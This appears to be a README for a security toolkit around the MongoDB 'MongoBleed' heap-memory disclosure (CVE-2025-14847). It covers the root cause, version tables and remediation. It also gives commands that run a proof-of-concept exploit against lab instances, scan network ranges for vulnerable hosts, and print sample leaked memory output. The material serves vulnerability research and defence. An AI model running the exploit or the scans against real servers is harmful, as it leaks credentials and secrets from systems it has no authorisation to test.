
Exploit lab, docker and code scanner for mongobleed Vulnerability CVE-2025-14847 plus Phoenix Security Sync tools
CVE-2025-14847 | CVSS 8.7 (High) | Unauthenticated Memory Disclosure
📖 Full Documentation • 🔬 Technical Analysis • ⚡ Quick Commands
MongoBleed is a critical memory disclosure vulnerability in MongoDB's network transport layer that allows unauthenticated remote attackers to exfiltrate sensitive heap memory without any credentials or user interaction.
| Category | Description |
|---|
| Attack Type | Remote, unauthenticated memory disclosure |
| Root Cause | Zlib decompression returns allocated buffer size instead of actual data length |
| Data Exposed | Database passwords, API keys, session tokens, AWS credentials, internal server state |
| Severity | CVSS 8.7 (High) - Network-accessible, no auth required |
| Exploitation | Active exploitation observed in the wild since Dec 28, 2025 |
| Branch | Vulnerable | Fixed | Action |
|---|---|---|---|
| 8.2.x | 8.2.0 → 8.2.2 | 8.2.3 | Upgrade immediately |
| 8.0.x | 8.0.0 → 8.0.16 | 8.0.17 | Upgrade immediately |
| 7.0.x | 7.0.0 → 7.0.27 | 7.0.28 | Upgrade immediately |
| 6.0.x | 6.0.0 → 6.0.26 | 6.0.27 | Upgrade immediately |
| 5.0.x | 5.0.0 → 5.0.31 | 5.0.32 | Upgrade immediately |
| 4.4.x | 4.4.0 → 4.4.29 | 4.4.30 | Upgrade immediately |
| ≤4.2.x | All versions | None | ⚠️ EOL - Migrate to supported version |
| Aspect | Details |
|---|---|
| What is vulnerable | MongoDB Server network transport layer using zlib compression |
| Severity | High (CVSS 8.7/7.5) |
| Impact | Unauthenticated, remote disclosure of uninitialised heap memory |
| Why it matters | Leaked fragments contain database passwords, AWS secret keys, and internal server states |
| Exploit status | Public Proof-of-Concept (PoC) "mongobleed" is validated and circulating |
| What to do today | Upgrade to patched versions immediately or disable zlib compression |
The vulnerability exists in MongoDB's network transport layer (message_compressor_zlib.cpp) where a critical flaw in the zlib decompression logic allows unauthenticated attackers to leak sensitive server memory.
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| Date | Event |
|---|---|
| 15 Dec 2025 | Vulnerability identified; internal ticket SERVER-115508 |
| 19 Dec 2025 | Fix released, CVE-2025-14847 disclosed |
| 24 Dec 2025 | MongoDB Atlas fleet patched |
| 26 Dec 2025 | Public PoC "mongobleed" released |
| 28 Dec 2025 | Exploitation observed in the wild |
🔬 See Technical Analysis → for detailed vulnerability anatomy, exploit construction, and detection methods.
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
| Priority | Action | Details |
|---|---|---|
| 🔴 1 | Upgrade MongoDB | Update to fixed versions (8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30) |
| 🟠 2 | Disable zlib | mongod --setParameter networkMessageCompressors=snappy,zstd |
| 🟡 3 | Network isolation | Firewall port 27017, use VPN/private networking |
| 🔵 4 | Rotate credentials | If exposed, rotate all database passwords, API keys, tokens |
All scanners support uploading findings to Phoenix Security platform:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ IMPORTANT: This toolkit is provided for authorized security testing and research purposes only.
| Document | Description |
|---|---|
| 📖 DOCUMENTATION.md | Complete project documentation with setup, usage, and remediation |
| 🔬 TECHNICAL_ANALYSIS.md | In-depth vulnerability anatomy, exploit mechanism, and detection |
| ⚡ QUICK_COMMANDS.md | Copy-paste ready commands for all tools |
| Tool | Documentation | Description |
|---|---|---|
| 🔴 Exploit Lab | exploit/README.md | Docker-based vulnerable/patched MongoDB lab |
| 🌐 Network Scanner | scanner/README.md | IP/CIDR vulnerability scanner |
| 📂 Code Scanner | code-scan/README.md | Codebase scanner for vulnerable versions |
For authorized security testing only. Use responsibly.
Last Updated: December 2025